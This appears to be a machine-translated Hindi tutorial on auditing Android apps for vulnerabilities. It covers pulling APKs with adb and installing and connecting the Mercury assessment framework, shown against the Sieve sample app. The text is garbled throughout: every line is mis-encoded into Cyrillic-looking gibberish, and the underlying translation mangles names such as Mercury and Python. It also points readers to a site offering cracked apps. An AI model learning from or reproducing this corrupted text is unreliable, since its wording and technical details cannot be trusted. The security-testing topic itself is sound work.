рдорд░рдХрд░реА - рдПрдВрдбреНрд░реЙрдЗрдб рдмрдЧ рдХрд╛ рд╕рдВрджреЗрд╢рд╡рд╛рд╣рдХ

рдЫрд╡рд┐

рдирдорд╕реНрддреЗ рдорд╣рд┐рд▓рд╛рдУрдВ рдФрд░ рд╕рдЬреНрдЬрдиреЛрдВред рдЖрдЬ рд╣рдо рдЕрдкрдиреЗ рдФрд░ рдЕрдиреНрдп рд▓реЛрдЧреЛрдВ рдХреЗ рдПрдВрдбреНрд░реЙрдЗрдб рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рдХреИрд╕реЗ рдФрд░ рдХреИрд╕реЗ рд▓рдЧрд╛рдПрдВ, рдЗрд╕ рдкрд░ рдЧреМрд░ рдХрд░реЗрдВрдЧреЗред рд╣рдо рдпрд╣ рднреА рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрди рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдХреНрдпрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдореИрдВ рдЙрди рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдЙрджрд╛рд╣рд░рдг рджреВрдВрдЧрд╛ рдЬреЛ рдпреИрдВрдбреЗрдХреНрд╕ рд╕реЗ " рдХреАрдбрд╝реЗ рдХреЗ рд▓рд┐рдП рд╢рд┐рдХрд╛рд░ " рдкреНрд░рддрд┐рдпреЛрдЧрд┐рддрд╛ рдХреЗ рдврд╛рдВрдЪреЗ рдореЗрдВ рдкрд╛рдП рдЧрдП рдереЗред

рдкрд░реАрдХреНрд╖рдг рд╡рд┐рд╖рдп рд╕реНрдерд╛рдкрдирд╛


рдореЛрдмрд╛рдЗрд▓ рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рдХреЗ рд▓рд┐рдП, рдЖрдк рдЕрдиреБрд╕рдВрдзрд╛рди рдХреЗ рд▓рд┐рдП рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдФрд░ рдПрдореБрд▓реЗрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рд╡рд┐рд╢реЗрд╖ рд╕рдорд╕реНрдпрд╛рдПрдВ рдирд╣реАрдВ рд╣реИрдВ, рддреЛ Google Play рд╕реЗ рдПрдореБрд▓реЗрдЯрд░ рдкрд░ рдПрдкреАрдХреЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдирд╛ рдХрдард┐рдирд╛рдЗрдпреЛрдВ рдХрд╛ рдХрд╛рд░рдг рдмрдирддрд╛ рд╣реИред рдФрд░ рдпреИрдВрдбреЗрдХреНрд╕ рд╕реЗ рдХрд╛рд░реНрдпрдХреНрд░рдо рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рдЖрд╕рд╛рди рддрд░реАрдХрд╛ рдпрд╣ рд╣реИред

рд╣рдо рдПрдкреАрдХреЗ-рдлрд╝рд╛рдЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВрдЧреЗ (рдХреБрдЫ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╣рдмрд░ рдХреЗ рдкрдиреНрдиреЛрдВ рдкрд░ рдереЗ, рд▓реЗрдХрд┐рди рдореИрдВ рджреЛрд╣рд░рд╛рдКрдВрдЧрд╛)ред

  1. рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдбрд┐рд╡рд╛рдЗрд╕ рдореЗрдВ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ adb рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░реЗрдВред

    • рд╣рдо рдбрд┐рд╡рд╛рдЗрд╕ рдХреА рдЙрдкрд▓рдмреНрдзрддрд╛ рдХреА рдЬрд╛рдВрдЪ рдХрд░рддреЗ рд╣реИрдВ:

      adb devices 

    • рд╕рднреА рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЕрдкрдиреЗ "рдЗрдВрд╕реНрдЯреЙрд▓рд░" рдХреЛ / рдбреЗрдЯрд╛ / рдРрдк рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддреЗ рд╣реИрдВ:

       adb pull /data/app/ru.yandex.yandexmaps-1.apk C:\ 

      рдПрдВрдбреНрд░реЙрдЗрдб рдУрдПрд╕ рдкреНрд░рддреНрдпреЗрдХ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреА рдирдВрдмрд░рд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЕрдВрдд рдореЗрдВ рдпрд╣ "-1" рдпрд╛ "-2" рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдпрд╛ рдЖрдк рднрд╡рд┐рд╖реНрдп рдХреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд▓рд┐рдП / рдбреЗрдЯрд╛ / рдРрдк рдЕрдиреБрднрд╛рдЧ рд╕реЗ рд╕рднреА рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

       adb pull /data/app path_to_comp 

      рдЕрдкрдиреЗ рдПрд▓рдЬреА рдлреЛрди рд╕реЗ рд╕рднреА рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рдХреА рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдмрдирд╛рдПрдБ

  2. рдПрдХ рдЕрдиреМрдкрдЪрд╛рд░рд┐рдХ рдПрдкреАрдЖрдИ рдХреЗ рд╕рд╛рде рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

    рдореИрдВ рдПрдХ рд╡рд┐рдХрд▓реНрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реВрдВ рдЬреЛ рдХрд┐ рдЕрдЬрдЧрд░ рдореЗрдВ рд▓рд┐рдЦрд╛ рд╣реИред рдпрд╣ рдЧреАрдереВрдм рдкрд░ рдкреЛрд╕реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд╛рд╡рд╛ рдореЗрдВ рдПрдХ рдПрдирд╛рд▓реЙрдЧ рд╣реИред рдЗрд╕рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ AndroidID рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдЬреЛ рдЖрдкрдХреЗ рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп Google рдЦрд╛рддреЗ рдХреЗ рд╕рд╛рде-рд╕рд╛рде рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдпрд╛ AuthToken рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реЛред

    USSD рдХрдорд╛рдВрдб рдЯрд╛рдЗрдк рдХрд░рдХреЗ AndroidID рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

     *#*#8255#*#* 

    рдпрд╣рд╛рдВ рд╕рд╣рд╛рдпрддрд╛ рдкреИрд░рд╛рдореАрдЯрд░ рдЖрдкрдХрд╛ AndroidID рд╣реЛрдЧрд╛ред рдпрд╣ рд╕рдм config.py рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рджрд░реНрдЬ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдк рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдмрд╛рдЬрд╛рд░ рдкрд░ рд╕рднреА рдпреИрдВрдбреЗрдХреНрд╕ рдХрд╛рд░реНрдпрдХреНрд░рдо рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:

     search.py yandex 

    рдирд┐рд╖реНрдкрд╛рджрди рдкрд░рд┐рдгрд╛рдо

  3. Google рдХреЛ рдПрдореБрд▓реЗрдЯрд░ рдкрд░ рдПрдХ рд╢рд░реНрдордирд╛рдХ рддрд░реАрдХреЗ рд╕реЗ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВред

  4. рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╕рд╛рдЗрдЯреЛрдВ рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ:
    W3bsit3-dns.com - "рдлрдЯреЗ" рд╡рд╛рд▓реЗ рд╕рд╣рд┐рдд рд╕рднреА рд▓реЛрдХрдкреНрд░рд┐рдп рдХрд╛рд░реНрдпрдХреНрд░рдо рд╣реИрдВ, рдЬреЛ рдХреЗрд╡рд▓ рд╕рдВрджрд░реНрдн рдХреЗ рд▓рд┐рдП рд╣реИрдВред
    xda- рдбреЗрд╡рд▓рдкрд░реНрд╕ - рдЬреНрдпрд╛рджрд╛рддрд░ "рдлреНрд░реА" рдпрд╛ рдУрдкрди-рд╕реЛрд░реНрд╕ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рд▓рд┐рдП рдПрдкреАрдХреЗред
    рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рд╕реАрдзреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбрд┐рд╡рд╛рдЗрд╕ рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред


рдПрдореБрд▓реЗрдЯрд░ рдореЗрдВ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдиреЗ рдХреЗ рджреЛ рддрд░реАрдХреЗ рд╣реИрдВ:

рднреЗрджреНрдпрддрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдЯреВрд▓рдХрд┐рдЯ


"рдореИрдиреБрдЕрд▓" рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╣рдо рдЬрд╣рд╛рдВ рднреА рд╕рдВрднрд╡ рд╣реЛ "рдЙрджреНрдзрд░рдг" рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рдПрдВрдбреНрд░реЙрдЗрдб рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдХреЗ рд▓рд┐рдП рдХрдИ рдХрд╛рд░реНрдпрдХреНрд░рдо рдирд╣реАрдВ рд╣реИрдВред рдЙрдирдореЗрдВ рд╕реЗ рд╕рдмрд╕реЗ рд▓реЛрдХрдкреНрд░рд┐рдп рд╣реИрдВ:

ScanDroid рдПрдХ рд░реВрдмреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реИ рдЬреЛ рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реЗ рдЬрд╛рд╡рд╛ рдХреЛрдб рдореЗрдВ рдбреАрдПрдХреНрд╕ рдХреНрд▓рд╛рд╕ рдХреЛ рд╣рдЯрд╛ рджреЗрддреА рд╣реИ рдФрд░ рдХреБрдЫ рдирд┐рдпрдореЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рд╕рдВрднрд╛рд╡рд┐рдд рдЦрддрд░рдирд╛рдХ рд╕реНрдерд╛рдиреЛрдВ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЦреЛрдЬ рдХрд░рддреА рд╣реИред рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдпрд╛ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЗ рд░рдЪрдирд╛рдХрд╛рд░реЛрдВ рд╕реЗ рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдХрд╛рд░реНрдпрдХреНрд░рдо рдХрд╛ рд╕реНрд░реЛрдд рдХреЛрдб рднреА рд╡рд╣рд╛рдВ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

рдмреБрдз рдПрдХ рдЦреБрд▓рд╛ рд╕реНрд░реЛрдд рдврд╛рдВрдЪрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЕрдЬрдЧрд░ рдореЗрдВ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдЗрдВрдЯрд░реЗрдХреНрдЯрд┐рд╡ рдЯреВрд▓ рдХрд╛ рдПрдХ рд╕реЗрдЯ рд╣реИ рдЬрд┐рд╕рдХреЗ рд╕рд╛рде рдпрд╣ рдПрдВрдбреНрд░реЙрдЗрдб рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рд╕рднреА рдЗрдВрд╕реНрдЯреЙрд▓ рдФрд░ рд░рдирд┐рдВрдЧ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдФрд░ рдЙрд╕рдХреЗ рд╕рд╛рде рд╣рдо рдЕрдкрдиреЗ рдкрд░рд┐рдЪрд┐рдд рдХреЛ рдЬрд╛рд░реА рд░рдЦреЗрдВрдЧреЗред

рдмреБрдз рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░реЗрдВ


2.2.0 рд╕рдВрд╕реНрдХрд░рдг рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╣реИ, рдпрд╣ рд╕рдВрд╕реНрдХрд░рдг 1+ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдирдпрд╛ рд░реВрдк рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рд▓реЗрдХрд┐рди рджреЛрдиреЛрдВ рдПрдХ рдФрд░ рджреВрд╕рд░реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рд╣реИрдВ, рдФрд░ рдкрд╣рд▓реЗ рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рд╕реНрдерд╛рдкрдирд╛ рд╕рд░рд▓ рд╣реИ рдФрд░ рдЗрд╕рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рдирд┐рд░реНрднрд░рддрд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред

рдЖрдк рдореБрдЦреНрдп рд╕рд╛рдЗрдЯ рдпрд╛ рдЬреАрдердм рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рд╕реЗ рд╡рд╛рдВрдЫрд┐рдд рд╕рдВрд╕реНрдХрд░рдг рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдХрд╛рд░реНрдпрдХреНрд░рдо рдореЗрдВ рд╣реА рджреЛ рднрд╛рдЧ рд╣реЛрддреЗ рд╣реИрдВ:

рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд╛рдЗрдб рд╕реНрдерд╛рдкрдирд╛

рд▓рд┐рдирдХреНрд╕ (рдбреЗрдмрд┐рдпрди рдЬреИрд╕реА)

рдирд┐рд░реНрднрд░рддрд╛ рд╕реНрдерд╛рдкрдирд╛:

  $ apt-get install build-essential python-dev python-setuptools $ easy_install --allow-hosts pypi.python.org protobuf==2.4.1 $ easy_install twisted==10.2.0 

рдмреБрдз рд╕реНрдерд╛рдкрдирд╛:

  $ easy_install ./mercury-2.2.0-py2.7.egg 

рд╡рд┐рдВрдбреЛрдЬ

рдирд┐рд░реНрднрд░рддрд╛ рд╕реНрдерд╛рдкрдирд╛:

  1. рдЖрд░рдВрдн рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреНрд░реЛрдЧреНрд░рд╛рдо рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ:

  2. рдЗрд╕рдХреЗ рдмрд╛рдж, рдЙрдиреНрд╣реЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдорд╛рдкрджрдВрдбреЛрдВ рд╕реЗ рдЪрд▓рд╛рдПрдБ:

      C:\Python27\Scripts\easy_install.exe --allow-hosts pypi.python.org protobuf==2.4.1 C:\Python27\Scripts\easy_install.exe pyopenssl C:\Python27\Scripts\easy_install.exe pyreadline C:\Python27\Scripts\easy_install.exe twisted==10.2.0 

  3. рд╡рд┐рдВрдбреЛрдЬрд╝ рдЗрдВрд╕реНрдЯреЙрд▓рд░ рдХреЛ рд▓реЙрдиреНрдЪ рдХрд░реЗрдВред

рдореИрдХ рдУрдПрд╕ рдПрдХреНрд╕

рдХреЛрдИ рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рдЧрд╛рдЗрдб рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдЪреВрдВрдХрд┐ Xcode рдХрдорд╛рдВрдб-рд▓рд╛рдЗрди рдЯреВрд▓ рдХреЗ рд╕рд╛рде рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ easy_install рдЙрдкрд▓рдмреНрдз рд╣реИ, рдЬрдм рдХрдорд╛рдВрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА рдЬрд╛ рд░рд╣реА рд╣реИ

  $ easy_install ./mercury-2.2.0-py2.7.egg 

рдпрд╣ рд╕рдм рдПрдХ рд╕рдлрд▓ рд╕реНрдерд╛рдкрдирд╛ рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рд╣реБрдЖред

рд╕реНрдерд╛рдкрдирд╛ рдЙрджрд╛рд╣рд░рдг

рд╕рд░реНрд╡рд░ рд╕реНрдерд╛рдкрдирд╛

рдКрдкрд░ рд╡рд░реНрдгрд┐рдд рдХрд┐рд╕реА рднреА рд╡рд┐рдзрд┐ рджреНрд╡рд╛рд░рд╛ рд╕реНрдерд╛рдкрд┐рдд:

рд╕рдорд╛рдпреЛрдЬрди

рдХреНрд▓рд╛рдЗрдВрдЯ рдФрд░ рд╕рд░реНрд╡рд░ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ рдбрд┐рд╡рд╛рдЗрд╕ рдХрд╛ рдЖрдИрдкреА рдкрддрд╛ рдЪрд╛рд╣рд┐рдП, рдпрджрд┐ рдпрд╣ рдПрдХ рдПрдореБрд▓реЗрдЯрд░ рд╣реИ, рддреЛ рд╣рдореЗрдВ рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдкреЛрд░реНрдЯ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:

 adb forward tcp:31415 tcp:31415 

рддрджрдиреБрд╕рд╛рд░, рд╕реНрдХреИрдирд░ рдХреЗ рд▓рд┐рдП рдЖрдИрдкреА рдкрддрд╛ 127.0.0.1 рд╣реЛрдЧрд╛ред

рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░, рдмрд╕ рд╡рд╛рдИрдлрд╛рдИ рдиреЗрдЯрд╡рд░реНрдХ рдХреА рд╕реВрдЪреА рдореЗрдВ рд╡рд╛рдВрдЫрд┐рдд рдПрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ рдкреЙрдк-рдЕрдк рд╡рд┐рдВрдбреЛ рдЧреБрдгрд╡рддреНрддрд╛, рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдкреНрд░рдХрд╛рд░ рдФрд░ рд╣рдореЗрдВ рдЖрд╡рд╢реНрдпрдХ рдЖрдИрдкреА рдкрддреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде рджрд┐рдЦрд╛рдИ рджреЗрдЧреАред

рдХрдВрдкреНрдпреВрдЯрд░ рд╕реЗ рд╢реБрд░реВ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдПрдВрдмреЗрдбреЗрдб рд╕рд░реНрд╡рд░ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ рд╕реНрд╡рд┐рдЪ рдХреЛ "рд╕рдХреНрд╖рдо" рд╕реНрдерд┐рддрд┐ рдореЗрдВ рдмрджрд▓ рджреЗрдВред рджреВрд╕рд░реЗ рд╕рдВрд╕реНрдХрд░рдг рд╕реЗ рд╢реБрд░реВ рдХрд░рдХреЗ, рдЗрд╕реЗ ssl рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рд╕реЗрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИред

рдПрдХ рдПрдореБрд▓реЗрдЯрд░ рдореЗрдВ рдПрдЬреЗрдВрдЯ рд╢реБрд░реВ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг

рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рддрд▓рд╛рд╢

рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ рдЬреБрдбрд╝реЗрдВред
рд╡рд┐рдВрдбреЛрдЬ:

 C:\Python27\Scripts\>python mercury console connect IP 

рдкрд╛рд░рд╛ рдХрдВрд╕реЛрд▓ рдЪрд▓ рд░рд╣рд╛ рд╣реИ

рдпреВрдирд┐рдХреНрд╕:

  mercury console connect IP 

рд╕рднреА рд╕реНрдерд╛рдкрд┐рдд рдореЙрдбреНрдпреВрд▓ рдХреА рд╕реВрдЪреА рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рджреНрд╡рд╛рд░рд╛ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ:

 list 

рд╕реВрдЪреА рдХрдорд╛рдВрдб рдЖрдЙрдЯрдкреБрдЯ

рд▓реЗрдЦ рдореЗрдВ рд╣рдо рд╕рднреА рдкрд░ рд╡рд┐рдЪрд╛рд░ рдирд╣реАрдВ рдХрд░реЗрдВрдЧреЗ, рд▓реЗрдХрд┐рди рдХреЗрд╡рд▓ рд╡реЗ рдЬреЛ рдЖрдкрдХреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред

рдбреЗрд╡рд▓рдкрд░реНрд╕ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдкрд╣рд▓рд╛ рдкреНрд░рд╛рдпреЛрдЧрд┐рдХ рдХрд╛рд░реНрдпрдХреНрд░рдо рдЪрд▓рдиреА рд╣реЛрдЧрд╛ред
рдкрд╣рд▓реЗ рд╣рдореЗрдВ рдкреНрд░реЛрдЧреНрд░рд╛рдо (рдкреИрдХреЗрдЬ) рдХрд╛ рдирд╛рдо рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╣реЛрдЧрд╛ред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рд╡рд┐рдХрд▓реНрдк рд╣реИрдВ:

рдирддреАрдЬрддрди, рд╣рдореЗрдВ рдирд╛рдо рдорд┐рд▓рддрд╛ рд╣реИ - com.mwr.example.sieve

рдЖрдЬ рдХреЗ рд▓реЗрдЦ рдореЗрдВ, рд╣рдо рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВрдЧреЗ, рдЬрд┐рдирдореЗрдВ рд╕реЗ рдПрдХ рдХреЛ рдПрдВрдбреНрд░реЙрдЗрдб рдУрдПрд╕ рдореЗрдВ рджреЗрдЦрдиреЗ рдХреА рдЙрдореНрдореАрдж рдирд╣реАрдВ рдереА, рдлрд┐рд░ рднреА рдпрд╣ рд╡реЗрдм рд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ:

рдЦреИрд░, рд╣рдо рдЬрд╛рд░реА рд░рдЦреЗрдВред рдЖрд╡реЗрджрди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:

 mercury> run app.package.attacksurface com.mwr.example.sieve Attack Surface: 3 activities exported 0 broadcast receivers exported 2 content providers exported 2 services exported is debuggable 

рдЧрддрд┐рд╡рд┐рдзрд┐ - Android рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреА рдПрдХ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдпреЛрдЬрдирд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдореБрдЦреНрдп рд╕реНрдХреНрд░реАрди рдЬрд┐рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдЦреЛрд▓рддреЗ рд╕рдордп рджреЗрдЦрддрд╛ рд╣реИред рдпрд╛ рдбреЗрд╡рд▓рдкрд░ рдХреЛ рдмрдЧ рд░рд┐рдкреЛрд░реНрдЯ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдлрд╝реЙрд░реНрдоред
рд╕реЗрд╡рд╛рдПрдВ - рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдкреНрд░рджрд╛рди рдХрд┐рдП рдмрд┐рдирд╛ рдкреГрд╖реНрдарднреВрдорд┐ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред
